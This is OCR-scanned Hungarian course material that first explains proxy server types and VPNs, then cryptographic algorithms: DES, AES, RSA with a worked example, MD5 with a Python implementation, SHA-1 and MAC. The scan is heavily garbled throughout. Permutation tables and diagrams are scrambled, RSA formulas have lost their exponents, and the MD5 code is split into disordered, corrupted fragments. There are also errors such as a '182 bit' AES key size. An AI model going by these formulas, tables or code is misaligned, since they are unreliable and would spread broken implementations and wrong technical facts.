Az atlatszé proxy ugyanolyan élményt nyudjthat a felhasznaldknak, mint az otthoni
szamitégép hasznalata. Ily médon ,atlatszé”. A felhasznaldkra is ,rakényszerithetdk”,
vagyis anélkul is kapcsolédhat egy felhasznalé a proxyhoz, hogy tudna réla.
Az atlatszo proxyk jol alkalmazhatdk azoknak a vallalatoknak, amelyek anélkil akarjak
hasznalni a proxyt, hogy az alkalmazottak tudomast szereznének arrél, hogy
hasznaljak. El6nye, hogy zokkendmentes felhasznaléi élményt nyujt. Masrészt az
atlatszo proxy-k érzékenyebbek bizonyos biztonsagi fenyegetésekre, példaul a SYN-
flood tdmadasokra. (A SYN flood, azaz SYN elarasztas egy az interneten végrehaijtott,
szolgaltatas-megtagadassal jaro tamadas.)

Anonim proxy

Az anonim, vagy névtelen proxy arra dsszpontosit, hogy az internetes tevékenységet
kovethetetlenné tegye. Miikddésnek sajatossaga, hogy hogy a felhasznald nevében
hozzafér az internethez, mikézben elrejti a felhasznalé személyazonossagat és
szamitogépes adatait.

Fokozottan anonim proxy

A fokozottan anonim proxy egy névtelen proxy, amely egy |lépéssel tovabb viszi az
anonimitast. Ugy miikddik, hogy térli az adatait, miel6tt a proxy megprobal csatlakozni
a céloldalhoz.



Torzitdé proxy

A torzit6 proxy a webhely proxyként azonositia magat, de elrejti sajat
személyazonossagat. Ezt ugy teszi, hogy az IP -cimét hamisra valtoztatja.

A torzitd proxy jo valasztas azok szamara, akik el akarjak rejteni helylket az internet
elérése kdzben. Ez a fajta proxy olyan megjelenést eredményezhet, mintha egy adott
orszagbdl bongészne, és nemcsak a felhasznald, hanem a proxy személyazonossagat
is elrejti. Egyes webhelyek azonban automatikusan blokkoljak a torzité proxykat, ami
megakadalyozhatja, hogy a végfelhasznalé hozzaférjen a webhelyekhez.
Adatkézpont proxy

Az adatkézpont -proxyk nem kapcsolodnak internetszolgaltatdhoz (ISP), hanem egy
masik vallalat biztositja 6ket adatkdzponton keresztil. A proxy szerver egy fizikai
adatkozpontban létezik, és a felhasznal6 kérései ezen a szerveren keresztil kertilnek
tovabbitasra. Az adatkdzpont proxy j6 valasztas azoknak, akik gyors valaszidét és
olcsé megoldast igényelnek. El6nylk, hogy a felhasznaldk szamara lehetévé teszik az
adatok gyors és olcso gydljtését. Masrészt nem nyujtiak a legmagasabb szint(
névtelenséget, ami veszélyeztetheti a felhasznaldk adatait vagy személyazonossagat.
Residential proxy

A residental proxy egy adott fizikai eszkdzhdz tartozd IP -cimet ad. Ezutan minden
kérés ezen az eszk6zon keresztll torténik. Ezek proxyk jol alkalmazhatdk azoknal a
felhasznaldknal, akiknek ellendriznitk kell a webhelylikdn megjelend hirdetéseket, igy
blokkolhatjak a cookie-kat, a versenytarsak vagy egyeb szerepl6k gyanus, vagy nem
kivant hirdetéseit. A residental proxyk megbizhatébbak, mint a tébbi proxy. Ezek
hasznalata azonban gyakran tobb pénzbe kerul, ezért a felhasznaléknak alaposan
elemeznilk kell, hogy az elébnydk megérik -e a tdbbletbefektetést.

Nyilvanos proxy

A nyilvanos proxy barki szamara ingyenesen elérheté. Ugy miikodik, hogy hozzaférést
biztosit a felhasznaldknak a proxy IP ciméhez, elrejti a személyazonossagukat, amikor
webhelyeket latogatnak. A nyilvanos proxyk azoknak a felhasznaloknak a
legalkalmasabbak, akik szamara a koéltségek jelentések, a biztonsag és a sebesség
pedig fontos. Bar ingyenesek és kdénnyen hozzaférhetbk, gyakran lassuak, mert
belefulladnak az ingyenes felhasznaldokba. Ha nyilvanos proxyt hasznal, akkor
nagyobb a kockazata annak, hogy masok hozzaférhetnek az adatainkhoz az
interneten.

Megosztott proxy.

A megosztott proxykat egyszerre tdbb felhaszndld is haszndlja. Hozzaférést
biztositanak egy olyan IP -cimhez, amelyet masok is megoszthatnak, majd
bdngészhetink az interneten, mikdzben ugy tlnik, hogy az altalunk valasztott helyrél
bdongészink. A megosztott proxyk jo valasztds azok szamara, akiknek nincs sok
pénzik, és nincs szikséguk gyors kapcsolatra. A megosztott proxy f6 elénye az
alacsony koéltség. Mivel ezeket masok is megosztjak, masok hibas dontéseiért minket
is kitilthatnak egy webhelyrdl.

SSL Proxy

A Secure Sockets Layer (biztonsagos socket layer, SSL) proxy titkositast biztosit az
ugyfél és a szerver k6z6tt. Mivel az adatok mindkét iranyban titkositva vannak, a proxy
elrejti 1étezését mind a kliens, mind a szerver eldl. Ezek a proxyk a legalkalmasabbak
azoknak a szervezeteknek, amelyek fokozott védelmet igényelnek az SSL protokoll
altal felfedett és leallitott fenyegetések ellen. Mivel a Google az SSL-t hasznalé
szervereket részesiti elényben, az SSL proxy, ha egy webhellyel kapcsolatban
hasznaljak, segithet a keresémotor rangsorolasaban. A hatranya az, hogy az SSL -
proxynal titkositott tartalom nem tarolhaté gyorsitétarban, igy, ha tébbszor
meglatogatjuk a webhelyeket, lassabb teljesitményt tapasztalhatunk, mint egyébként.
Rotating Proxy

A rotaring (forgd) proxy mas IP -cimet rendel hozza minden felhasznaléhoz, aki
csatlakozik hozza. Amikor a felhasznaldk csatlakoznak, olyan cimet kapnak, amely



eltér az elbtte csatlakozd eszkdz IP cimétdl. A forgd proxyk idedlisak azoknak a
felhasznaldknak, akiknek nagy mennyiségi, folyamatos web elérést kell végeznitk.
Lehetévé teszik, hogy névtelenll Ujra és Ujra visszatérjenek ugyanahhoz a
webhelyhez.
e Forditott proxy

Ellentétben az tovabbitoé proxyval, amely az Ggyféloldalon mikoédik a forditott proxy a
webszerverek elétt helyezkedik el, és tovabbitja a bongészébél szarmazo kéréseket a
webszerverekre. Ugy miikédik, hogy a felhasznal6 kéréseit elkapja Ezutan elkiildi a
kéréseket az eredeti szervernek, és valaszokat kap téluk.

A forditott proxyk j6 valasztas a terhelt webhelyek szamara, amelyeknek ki kell
szolgalni a nagyszamu bejové kérést. Segithetnek a szervezetnek a savszélesség
terhelésének csokkentésében, mivel ugy viselkednek, mint egy masik webszerver,
amely kezeli a bejovd kéréseket. A hatranyuk, hogy a forditott proxyk potencialisan
felfedhetik a HTTP szerver architekturajat, ha a tAmado képes behatolni rajta. Ez azt
jelenti, hogy a haldézati rendszergazdaknak meg kell erdsiteniik vagy at kell
konfiguralniuk a tlizfalaikat, ha forditott proxyt hasznalnak.

Virtudlis maganhaldzatok (VPN)

Els6 latasra a proxykiszolgalok és a virtualis maganhalézatok (VPN) felcserélhetének
tinhetnek, mivel mind a kéréseket, mind a valaszokat kulsé szerveren keresztll tovabbitjak.
Mindkettd lehetéveé teszi azoknak a webhelyeknek az elérését is, amelyeket egyebként
blokkolnanak az adott orszagban, ahol fizikailag ténylegesen tartozkodunk. A VPN-ek
azonban jobb védelmet nyujtanak a hackerek ellen, mivel titkositjak az 6sszes forgalmat

A VPN vagy virtualis maganhalozat egy privat hal6zat, amely titkositja és tovabbitja az
adatokat, lehetdvé teszi a biztonsagos internetkapcsolatot

A VPN -kapcsolat elényeit igy foglalhatjuk dssze:

A VPN -kapcsolat elfedi az online adatforgalmat, és megvédi azt a kiilsé hozzaféréstdl. A
titkositatlan adatokat barki megtekintheti, aki rendelkezik haldézati hozzaféréssel. A VPN
segitségével a hackerek és a kiberb(in6zék nem tudjak megfejteni ezeket az adatokat.

Biztonsagos titkositas: Az adatok olvasasahoz titkositasi kulcsra van szikség. Ennek
hianyaban a jelenlegi ismereteink mellett tébb millié évbe telhet, mire egy szamitégép nyers
erével torténd tamadas segitségével esetén megfejti a kodot. A VPN segitségével online
tevékenységeink még a nyilvanos halézatokon is el vannak rejtve.

A tartézkodasi helylnk elrejtése: A VPN -kiszolgaldk Iényegében a proxyként mikddnek az
interneten. Mivel a helyadatok egy masik orszag szerverérél szarmaznak, a tényleges
tartézkodasi helylnket nem lehet meghatarozni. Ezenkivil a legtobb VPN -szolgaltatas nem
tarolja a tevékenységek naploit. Ez azt jelenti, hogy a felhasznaléi aktivitas rejtve marad.

Hozzaférés aregionalis tartalomhoz: A regionalis webes tartalom olyan tartalom, amely érhet6
el mindenhonnan. A szolgaltatasok és webhelyek gyakran tartalmaznak olyan tartalmat,
amely csak a vilag bizonyos részeir6l érhetdk el. A szabvanyos kapcsolatok az orszag helyi
szervereit hasznaljak a tartézkodasi hely meghatarozasahoz. Ez azt jelenti, hogy utazas
kdézben nem férhetlink hozza az otthoni tartalomhoz, és nem férhetlink hozza a nemzetkozi
tartalomhoz otthonrél. A VPN - helyhamisitassal - atvalthat egy masik orszagban |évé
szerverre, és hatékonyan ,megvaltoztathatja” tartozkodasi helyét.



Biztonsagos adatatvitel: Ha tavolrél dolgozunk, eléfordulhat, hogy hozza kell férnlink a vallalat
halézatanak fontos fajljaihoz. Biztonsagi okokbdl az ilyen jellegli informaciok biztonsagos
kapcsolatot igényelnek. A halézathoz valé hozzaféréshez gyakran VPN -kapcsolat sziikséges.
A VPN -szolgéaltatdsok maganszerverekhez csatlakoznak, és titkositasi modszereket
hasznalnak az adatszivargas kockazatanak csokkentésére.[3]

A VPN vagy a proxy kérdés eldontése

Ha folyamatosan kell titkositandé adatok kildéséhez és fogadasahoz hozzaférniink az
internethez, vagy ha vallalatnak olyan adatokat kell felfednie, amelyeket el kell rejtenie a
hackerek és a kivancsi szemek elél, akkor jobb valasztas a VPN.

Ha egy szervezetnek csupan engedélyeznie kell a felhasznaldék szamara, hogy névtelendl
bongészhessenek az interneten, akkor a proxyszerver elegendé. Ez a megoldas akkor is, ha
egyszerlen csak tudni szeretnék, mely webhelyeket haszndljak a dolgozok, vagy hozza
akarunk férni azokhoz a webhelyekhez, amelyek a mi orszagunkban blokkolva vannak.

A VPN jobban megfelel Uzleti célokra, mivel a felhasznaloknak altalaban mindkét iranyban
biztonsagos adatatvitelre van szukséguk. A vallalati informaciok és a személyi adatok nagyon
értékesek lehetnek, és a VPN biztositja a titkositast, amire szikségunk van a védelméhez.
Személyes hasznalatra, egyetlen felhasznal6hoz, a proxyszerver megfeleld valasztas lehet.
Mindkét technoldgiat egyszerre is hasznalhatjuk, kilondsen, ha korlatozni szeretnénk a
halézaton belili felhasznaldék altal latogatott webhelyeket, mikézben titkositia a
kommunikaciojukat.

Hivatkozasok
[1] https://www.fortinet.com/br/resources/cyberglossary/proxy-server
[2] https://www.varonis.com/blog/what-is-a-proxy-server/
[3] https://www.kaspersky.com/resource-center/definitions/what-is-a-vpn
[4] https://www.kali.org/downloads/
[5] https://github.com/micahflee/torbrowser-launcher
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Kriptografikus algoritmusok

Alapfogalmak
A kriptografia (a kifejezés) a gorog kputrtdg szobol, ami rejtettet jelent és a ypageiv szobdl,
amely irast jelent.

Maga a téma oOnalld lett az évek soran, annak ellenére, hogy mindig része volt a
szamitastechnika / informacidtechnolégiai tudomanyagnak. F6 feladata a titkos kodok
tanulmanyozasa és megfejtése volt.

Az elektronikus kommunikacié széles korl elterjedésével a biztonsagos online csatorna
kiépitése elengedhetetlenné valt.

A biztonsagos csatorna kodvetelményei:

Titoktartas: Az egymassal kommunikald feleken kivil senki masnak nem szabad értenie az
Uzeneteket.

Kriptografiai algoritmus. A f6 célunk egy olyan médszer kidolgozasa, amely feltérhetetlen, de
ezzel egyidejlleg kdnnyl hasznalni és kiszamitani.

Ennek a médszernek matematikailag bizonyithaténak kell lennie.

Hitelesség: A kommunikalo felek meg tudjak allapitani egymas kilétét (annak ellenére, hogy a
valo életben soha nem talalkoztak).

Eszkdzok: Hitelesitési szolgaltatasok (hatésagok) Az online kommunikaciéo esetében
természetes kdvetelmény, hogy személyazonossagunkat algoritmussal kell védeni, annak
ellenére, hogy olyan tavoli szervereket kell hasznalnunk, amelyeket nem lehet megkdzeliteni.

Nincs 100% -os biztonsag, ismerni kell a hatarokat.
Integritas: az adataink barmilyen észrevétlen modositasat blokkolni kell.

Digitalis alairas. Manapsag gyakori, hogy online szerz8déseket kell alairnunk, ahol a
szerz8dés alairdi fizikailag nem lehetnek jelen. Az alairasok akar kiildonbdzé idépontokban is
torténhetnek.

A digitalis alairas hasznalata ma Magyarorszagon is kotelezé, példaul a birdsagi lgyintézés
esetében.

Az alabbi abra a kommunikacié alapmodelljét és annak jelbléseit irja le.

c=E(m) m=04c)

Alice Uzenetet akar kildeni Bobnak, nevezziik az zenetet m-nek. A lekddolt Gzenet legyen
C.

Alice

Az E () fUggvényt titkositasi/kddolasi fllggvénynek nevezzik.
A D () fuggvényt dekodolé fliggvénynek nevezziik.



DES (Data Encryption Standard)

A DES egy elterjedt titkositasi algoritmus. Az IBM fejlesztette ki az 1970 -es évek elején, majd
a Nemzeti Szabvanylgyi Hivatal regisztralta [1]

A DES szimmetrikus blokkciper; az algoritmus rogzitett hosszusagu 64 bites egyszer(
szdveget kdédol le. Az algoritmus kimenete ezzel megegyez méretii, a DES egy olyan kulcsot

hasznal, amelynek mas bitmérete van: 56 bit.

A kulcs azonban 64 bitesnek tlinik, de az algoritmus figyelmen kivil hagy minden 8. bitet.

64 bit
Kodolatlan Gzenet

56 bit kulcs » DES

64 bit
Kodolt Gzenet
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56 bit kulcs

64 bit

DES

64 bit

Kodolatlan Gzenet

Kodolt Gzenet
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64 bit
Kodolatlan Gzenet

DES

64 bit
Kodolt izenet
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Az egyszerliség kedvéeért a 64 bites blokk (kulcs) 16 hexadecimalis szamként jelenik meg.

Lépései

1. A sima szdveges Uzenet 64 bites hosszusagu részét egy kezdeti permutacios
fuggvény kapja meg. A permutacio ugy néz ki, hogy A sima szdveg 58. bitje lesz az 1.

bit, az 50. bit lesz a 2.,... és a 7. bit lesz a 64. bit, lasd az alabbi abrat.
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2. A permutalt rész két 32 bites részre osztja az adatokat: bal oldali széveg (LFT) és jobb

oldali széveges rész (RFT)T)

3. Mindkett6 16 Kkoros titkositasi folyamaton megy keresztlil az 56 bites kulcs

hasznalataval



4. A kétrész ezutan ujra 6sszeflizésre keril, és egy végs6 permutaciot hajtanak végre
a kombinalt blokkon, igy Iétrejon a 64 bites titkositasi blokk. A végs6 permutacié a
kezdeti permutacio inverze:

A0 (8|48 (16 | 56 | 24 | 64 | 32
397 (47 (15 (55|23 |63 | 3
358|646 (14 (54|22 |62 |30
37 |5 |45 (13|53 |21 |61 |29
36 (4 (44 (12 (52|20 (60|25
35 (3 (43|11 (5119|5927
34 2|42 (10|50 |16 | 55 | 26
33(1 (41| 9(49 (17|57 |25

5. A 16 titkositasi kor a kdvetkez6képpen néz ki:
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Minden kor az 56 bites kezdeti kulcsbdl general egy Ki kulcsot. A kulcsot két 28 bites félre
osztjuk. Mindkét felet minden kdrben balra shifteljuk. Az 1., 2., 9. and 16. kdrben 1 bittel, a
tobbi korben kettdével. Ezutan egy 48 bites alkulcsot (Ki) i valaszt ki egy témorité és permutalo
muvelet.



LFTn = RFTh1
RFT, =LFTn1 XOR f(Rny, Kn)

Az f szamitasi fuggveny leirasa a kdvetkez8: Minden kdérben a 32 bites blokkot 48 bitre bdvitik
a bévitési permutacio segitségével, amely a bitek felét megkettézi. Ezutan az eredményt az
alkulccsal kombinalja egy XOR mivelet. A 48 bites eredmény ezutan néhany bitet helyettesit
egy nemlinearis tablazat szerint. Végul a kimenetet fix permutaciéval rendezzik at.

F&l blokk (32 bit) Alkulcs (48 bit)

|

E

L XOR
}?:
Nemlinearis keresés

!

Permutacic

DES in OPEN SSL példak az alabbi linken talalhatok:
https://sandilands.info/crypto/DataEncryptionStandard.html#x16-840008.5

AES (Advanced Encryption Standard)

Az Advanced Encryption Standard (AES) titkositast [9] vezette be. Ez az algoritmus gyorsabb
€s megbizhatdbb, mint a DES, igy lett 2001 -ben amerikai szabvany. 128 bites adaton
mikaodik, a kulcs 128, 182 vagy 256 bites lehet. Ez egy szimmetrikus kulcs titkositas.

Az AES egy helyettesité-permutacios haldézaton alapul. Az egymashoz kapcsolddé miiveletek
egy része a bemeneteket meghatarozott kimenetekkel helyettesiti, masok permutaljak az
adatokat.

A titkositasi korok szama a kulcs méretétdl fugg:

e 128 bit — 10 kor
e 192 bit— 12 kor
e 256 bit — 14 kor

Mindegyik kér a sajat Kulcs; kulcsat hasznalja, amit egy algoritmus szerint lehet kiszamitani.

9]


https://sandilands.info/crypto/DataEncryptionStandard.html#x16-840008.5

128 bit szdveq

Kor kulcs
FPre-round
i i ——
transformation
Kulcsg
1. kor -
Kulcs,
é; Kulcs
2. kdr - T —
(]
]
Kulcss 0
: : Z
F. kir -
Kulcsg

128 bit titkos
sziveq

Az algoritmus leirasa
KeyExpansion — az i. kdrh6z tartozo Ki kulcs az eredeti kulcsbol kiszamitasra kerdl

AddRoundKey — minden bajtot kombinaljuk a K; kulcs egy bajtjaval a bitenkénti XOR
hasznalataval.

9., 11. vagy 13. kor:

SubBytes — nemlinearis helyettesitési Iépés, ahol minden bajt egy masikra cserélédik az
alabbi tablazat szerint.



3p | 3p4 | 32 | A3 Bop | Po4 | Boz | D2

Ap | 34 | A2 | A Dyp | By | Byz | Dya

Bbp | 324 | A2z | A2 Dap | Daq | Das | D22

By daq Pas | A3 33 bay (Das | Das

SubBytes
step

ShiftRows — a atlltetési Iépés Az adatok egy 4 x 4 matrixba vannak rendezve, amely ro, r1, r2,
r; sorokbdl allnak. minden r; sor | poziciéval balra shiftelédik.

Shift Rows
Step
4p0 | 91 | d02 | dp3 3pp | g | 302 | 3p3
Mo change
31p | B | 32 | A3 Shift 1 A1 | 32 | Az | g
dzp | 821 | 822 | 323 Shift 2 832 | @23 | 82p | 824
S3p | Baq | B2z | 323 Shift 3 833 | 3ap | 3349 | 332

MixColumns — matrix oszlopain végehajtott linearis transzformaciés mivelet,

ap 4 Ba,1
ap s | Apa Bp,o Doz | Doa
MixedColoumns b
a
E: P L I P I P step B1.0 11 bys | bya
820 a,, | F22 | 323 bzo| py, P22 | D22
E: 2 15 | A2z 3a1p Pas | Daa
33 4 bz 4
X c(p)

Tamadasok

https://en.wikipedia.org/wiki/Advanced_Encryption_Standard#cite_note-fips-197-6

RSA algorithm

Rivest, Shanir és Adleman 1977 -ben mutatta be aszimmetrikus kriptografiai algoritmusat[7] .
Az algoritmus hatvanyozason és modulacion alapul. Tegylk fel, hogy igaz az alabbi egyenlet:



T9modN=T

bizonyos specialis esetekben az egyenlet két parra bonthatd, az egyik kdédolni fogja, a
masodik pedig dekodolni a kdvetkez6képpen:

T*modN=C
CimodN=T
Sajnos ez az egyenlet nem mikaodik tetszéleges harmasokkal: (e,d,N)

Tétel
Induljunk ki ebbél a régi gordég egyenletbél:

T™1ImodN=1
ahol N> T és N primszam.
A primszamok egész szamok, amelyeknek nincs egész osztéjuk, példaul 11, 13, 19, ....

Legyen f(N) egy totient nevi figgvény, amely megadja a relativ primek szamat N-ig. Két
egész szam relativ prim, ha nincs kdzos osztojuk 1-en kivdl.

Példaul f(9) = 6 mert 9 esetén 6 relativ prim van.{1, 2, 4, 5, 7, 8}.

Ha N primszam, akkor a szamitas egyszer(. Nincs N -ig terjedd egész szam, amely k6zos
osztoval rendelkezik, azaz

f(N)+ 1= N => N-1 = f(N)
|

Ha egy K hatvanykitevét megszorozzuk egy allanddéval, akkor a modulo nem valtozik, igy a
kovetkez6 egyenlet tovabbra is igaz

TKIN mod N =1

Ez alépés biztositja, hogy elméletileg végtelen szamu kulcs legyen, mivel K tetszéleges szam.
Szorozzuk meg mindkét oldalt T -vel

TN mod N=T

Vélasszuk meg e és d kulcsokat, ugy, hogy
Kf(N)+1=ed

RSA kulcsgeneralas

A kulcsgeneralas az alabbiak szerint hajthatdé végre. Legyen két véletlenszer(i egész
primszamunk: X és Y. Ezek szorzata N.

N=XY

Tudjuk, hogy X és Y hany relativ primszammal bir:
f(X) = X-1

f(Y)=Y-1

f(N) kiszamithato



f(N) = (X-1) (Y-1)
Bontsuk fel K f(N)+1 két egész szam szorzatava
Kf(N)+1=ed

A gyakorlatban a kovetkez6 egyenletet lehet hasznalni a felbontashoz. Valasszuk meg e
értekét ugy, hogy

lko(e, f(N)) =1

ahol ko a legnagyobb k6zds osztot jelenti. és d értékét valasszuk meg ugy, hogy
1<d<f(N)

és

edmodf(N)=1

Legyen a publikus kulcs (e,N), és a privat kulcs (d,N)

Példa
Valasszunk két primszamot: 67 és 11

N=6711=737

f(n) = 66 10 = 660

Valasszuk meg e értékét, ugy, hogy lko(e, 660) = 1, legyen e = 7. Tehat a nyilvanos kulcs:
(N, e) = (737, 7)

Szamitsuk ki d értékét:

Keresstunk egy K értéket, hogy K f(N)+1 = e d igaz legyen, azaz K f(N)+1 mod e =0

K*660 + 1 mod 7=0

K = 3 megfelel6, azaz

d=(3*660+1)/7 =283

Tehat a privat kulcs

(N, d) = (737. 283)

Kodoljuk a 28 -as szamot
28" mod 737 = 316
Dekdédoljuk a 316 szamot

31628 mod 737 = 28

Hash flggvények

A hash fliggvény egy matematikai figgvény, amely valtozé hosszusagu bemenetekbdl
rogzitett hosszusagu kimenetet ad vissza.

Az preferalt hash fliggvények tulajdonsagai:



e konnyen kiszamithaté barmilyen adatra

¢ nehéz visszafejteni a lekddolt széveget

o akllénb6zd szdévegek barmilyen hosszuak is nem eredményezhetnek azonos hash-t

e a diszperzios tulajdonsag elényben részesitett: az kddolatlan széveg kis médositasa
nagy valtozasokat eredményez a hash-ben.

Uzenet blokk 1 Uzenet blokk 2

Bejiva erték 4>{ Hash fluggveny ‘ +++++ ‘ Hash fliggveny }—b Hash érték

Altalaban egyszerii széveget dolgoznak fel adatblokkokban. Egy blokk kimenete lesz a
kovetkez6 hash szamitasi [épés bemenete stb. Ezt a hashing lavinahatasanak nevezik

Message-digest (MD5)

A Message Digest algoritmus széles korben elterjedt hash funkcié, amely 128 bites hash
ertéket allit eld. A kédolatlan széveges Uzenet 512 bites blokkokra van felosztva, és fel van
toltve ugy. hogy 512 bit tébbszordse legyen.

Az RFC1321 a hatarozza meg a kitdltési médjat:

Igy az Uzenet feloszthatd 16 32 bites szora.

Jelentse M[O ... N-1] az eredményul kapott szavakat. ahol N 18 tdbbszdrose

Az MD algoritmus 128 bites szeleteken dolgozik, ezt osszuk 4 db 32 bites széra: (A, B, C, D).

Az Uzenetblokk feldolgozasa négy korbdl all; minden kor 16 hasonlé miveletbdl all, amelyek
nemlinearis figgvényen, modularis 6sszeadason és bal forgason alapulnak.
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Négy lehetséges funkcio létezik; minden kérben mast hasznalnak:
F(B, C, D) = (B and C) or (not B and D)

G(B, C, D) = (B and C) or (C and not D)

H(B, C, D) = B xor C xor D

I(B, C, D) = C xor (B or not D)

Egy lehetséges implementacio:

The implementation of the MD5 algorithm is based on the original RFC at
https://www.ietf.org/rfc/rfcl321.txt and contains optimizations from

https://en.wikipedia.org/wiki/MD5.

import struct

from enum import Enum

from math import (
floor,

sin,

from bitarray import bitarray

class MD5Buffer (Enum) :
A = 0x67452301
B = OxXEFCDABS89



Q
Il

0x98BADCFE
0x10325476

class MD5 (object) :
_string = None
_buffers = {

MD5Buffer.A: None,
MD5Buffer.B: None,
MD5Buffer.C: None,
MD5Buffer.D: None,
}
Qclassmethod

def

hash (cls, string):

cls. string = string

preprocessed bit array = cls. step 2(cls._step 1())
cls._step 3()
cls. step 4 (preprocessed bit array)

return cls. step 5()

@classmethod

def

_step_1(cls):
# Convert the string to a bit array.
bit array = bitarray(endian="big")

bit array.frombytes(cls. string.encode ("utf-8"))

Pad the string with a 1 bit and as many 0 bits required such that
the length of the bit array becomes congruent to 448 modulo 512.

H H =

Note that padding is always performed, even if the string's bit
# length is already conguent to 448 modulo 512, which leads to a
# new 512-bit message block.

bit array.append(1)

while bit array.length() % 512 != 448:

bit array.append(0)

# For the remainder of the MD5 algorithm, all values are in
# little endian, so transform the bit array to little endian.

return bitarray(bit array, endian="little")

Qclassmethod

def

_step 2(cls, step 1 result):

# Extend the result from step 1 with a 64-bit little endian

# representation of the original message length (modulo 2764).
length = (len(cls. string) * 8) % pow(2, 64)

length bit array = bitarray(endian="little")

length bit array.frombytes (struct.pack("<Q", length))

result = step 1 result.copy ()
result.extend(length bit array)

return result

@classmethod

def

_step_3(cls):

# Initialize the buffers to their default values.

for buffer type in cls. buffers.keys():



cls. buffers([buffer type] =

Q@classmethod

buffer type.value

def

step_4(cls, step 2 result):

# Define the four auxiliary functions that produce one 32-bit word.
F = lambda x, y, z: (x & y) | (~x & z)

G = lambda x, vy, z: (x & z) | (v & ~z)

H = lambda x, y, z: x "~y " z

I = lambda x, y, z: y ~ (x | ~z)

# Define the left rotation function,

rotate left = lambda x,
# Define a function for

modular add = lambda a,

# Compute the T table from the sine function.

# RFC starts at index 1,
T = [floor(pow(2, 32) *

# The total number of 32-bit words to process,

# multiple of 16.

N = len(step 2 result)

# Process chunks of 512

n: (x << n) |

modular addition.
b: (a + b) %

which rotates “x°

(x >>

left
(32 - n))

pow (2, 32)

Note that the

but we start at index 0.

abs (sin(i + 1)))

// 32

bits.

for chunk index in range(N // 16):

# Break the chunk into 16 words of 32 bits in

start = chunk index

X =

# Convert the

X
#
A = cls
B = cls
C = cls
D = cls

[step_2 result[start +

‘bitarray’

* 512
(x * 32)

Make shorthands for the buffers A, B,
._buffers[MD5Buffer.A]
._buffers[MD5Buffer.B]
._buffers[MD5Buffer.C]
. _buffers[MD5Buffer.D]

for i in

start +

range (64) ]

N, is always

list X.

(x * 32)

objects to integers.

= [int.from bytes (word.tobytes (), byteorder="little")

C and D.

# Execute the four rounds with 16 operations each.

for i in range(4 * 16):

if 0 <= 1 <= 15:
k=1
s = [7, 12, 17, 22]
temp = F(B, C, D)

elif 16 <= 1 <= 31:
k= ((5* 1) + 1) % 16
s =[5, 9, 14, 20]
temp = G(B, C, D)

elif 32 <= 1 <= 47:
k= ((3 * 1) + 5) % 16
s = [4, 11, 16, 23]
temp = H(B, C, D)

elif 48 <= 1 <= 63:
k= (7 *1) % 16
s = [6, 10, 15, 21]
temp = I(B, C, D)

+ 32]

‘n’ bits.

a

for x in range (16) ]

for word in X]



The MD5 algorithm uses modular addition. Note that we need a

ion "A = D' below would overwrite it. We also cannot

#

# temporary variable here. If we would put the result in "A°, then
# the express

#

move A D° lower because the original "D’ would already have

# been overwritten by the "D C* expression.
temp = modular add(temp, X[k])

temp = modular add(temp, T[i])

temp = modular add(temp, A)

temp = rotate left(temp, s[i % 4])

temp = modular add(temp, B)

# Swap the registers for the next operation.

W Q o >
Il
Q

= temp

# Update the buffers with the results from this chunk.

cls. buffers[MD5Buffer.A] = modular add(cls. buffers[MD5Buffer.A], A)
cls. buffers[MD5Buffer.B] = modular add(cls. buffers[MD5Buffer.B], B)
cls. buffers[MD5Buffer.C] = modular add(cls. buffers[MD5Buffer.C], C)
cls. buffers[MD5Buffer.D] = modular add(cls. buffers[MD5Buffer.D], D)
@classmethod
def _step_5(cls):
# Convert the buffers to little-endian.
A = struct.unpack("<I", struct.pack(">I", cls. buffers[MD5Buffer.A])) [0]
B = struct.unpack("<I", struct.pack(">I", cls. buffers[MD5Buffer.B])) [0]
C = struct.unpack("<I", struct.pack(">I", cls. buffers[MD5Buffer.C])) [0]
D = struct.unpack("<I", struct.pack(">I", cls. buffers[MD5Buffer.D])) [0]

# Output the buffers in lower-case hexadecimal format.

return f"{format (A, '08x')}{format (B, '08x"')}{format(C, '08x')}{format (D, '08x')}"

SHA
A Secure Hash Algoritmus (SHA-1) egy olyan kriptografiai hash fuggvény, amely. 160 bites
hash -t allit el az adatokbdl. Ez az Uzenetkivonat altalaban hexadecimalis szamként jelenik
meg.

Kezdetben 160 bites bemenetink van, ezt 5 részre bontjuk, amelyeket A, B, C, D és E-nek
nevezunk.
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Az SHA algoritmus egy iteraciéja a kovetkezé:

e A, B, C,DésE 32 bites szavak

o F egy nemlienaris fuggveny, amely a késébb ismertetett médon valtozik
o << jeldlje a balra torténd krkoros eltolast x hellyel

o W, az liznenet kiterjesztett szava (lasd késébb) a t.kdrben

o Kiat. kérhdz tartozé allando

. egy modulo 2% 6sszegzést jeldl

20 koronkeént, Fi és K;konstans, és az alabb definialt értékeket veszik fel:
1-20 kor

Fi = (B and C) or ((not B) and D)

Ki = 0x5A827999

21-40 kor

Fi =B xor C xor D

Ki = OX6ED9EBA1

41-60 kor

Fi=(B and C) or (B and D) or (C and D)
Ki = Ox8F1BBCDC

61-80 kor

Fi = B xor C xor D

Ki = OxCA62C1D6



A korkoros shift mivelet tetszdleges bit hosszusagu szavakon értelmezheté. A kdvetkezé
abra egy egybites balra és egy egybites jobbra biteltolast mutat be.

by

bs | bs | bs | ba | by | by by by | by | bg

Uzenet kiterjesztése

1. Az Uzenetet kiterjesztjik ugy, hogy hozzaadunk egy 1-est majd annyi O-t, hogy 448

n

w

8.

bites legyen. Az Uzenet hosszat 64 bites szammal reprezentalva hozzaflizzik a
végéhez, igy az Gzenet 512 bit hosszu lesz.

Az 512 bites lizenetet 16 db 32-bites széra osztjuk, Wo...Wis

Minden szdvegdarabra elkezdijik a 80 iteraciobal allé hash miveletet.

Végrehaijtjuk a kovetkezbt:

Wi=S? (Wi.3 XOR Wi.g XOR Wi.14 XOR Wi.16)

S a shift operator

A hash értékekkel kdvetkezd érékadast végezzik el::

A=Ho
B=H1
C=H2
D=H3
E=H4

A 80- iteracional

TEMP = S° (A) + F(B;C;D)+E+W+K;

E=D

D=C

C=S%*(B)

B=A

A=TEMP

Taroljuk el a hash érékét az alabbiak szerint
Ho= Hot+A

H:= H:+B

Ho= H>+C

Hs= Hs+D

Hs= H4,+E

Kiszamitjuk a 160 bites message digest értékét.

9. H= Sle(Ho) OR S%(Hl) OR 864(H2) OR S3Z(H3) OR H4

Message Authentication Code

Az Uzenet hitelesitési kodot (MAC) kriptografiai ellenérzd dsszegeknek is nevezik. A MAC
algoritmus egy szimmetrikus kulcsu algoritmus, amely az Gizenetek hitelesitését biztositja. A
kuldd és a fogadd ugyanazt a kulcsot hasznalja.

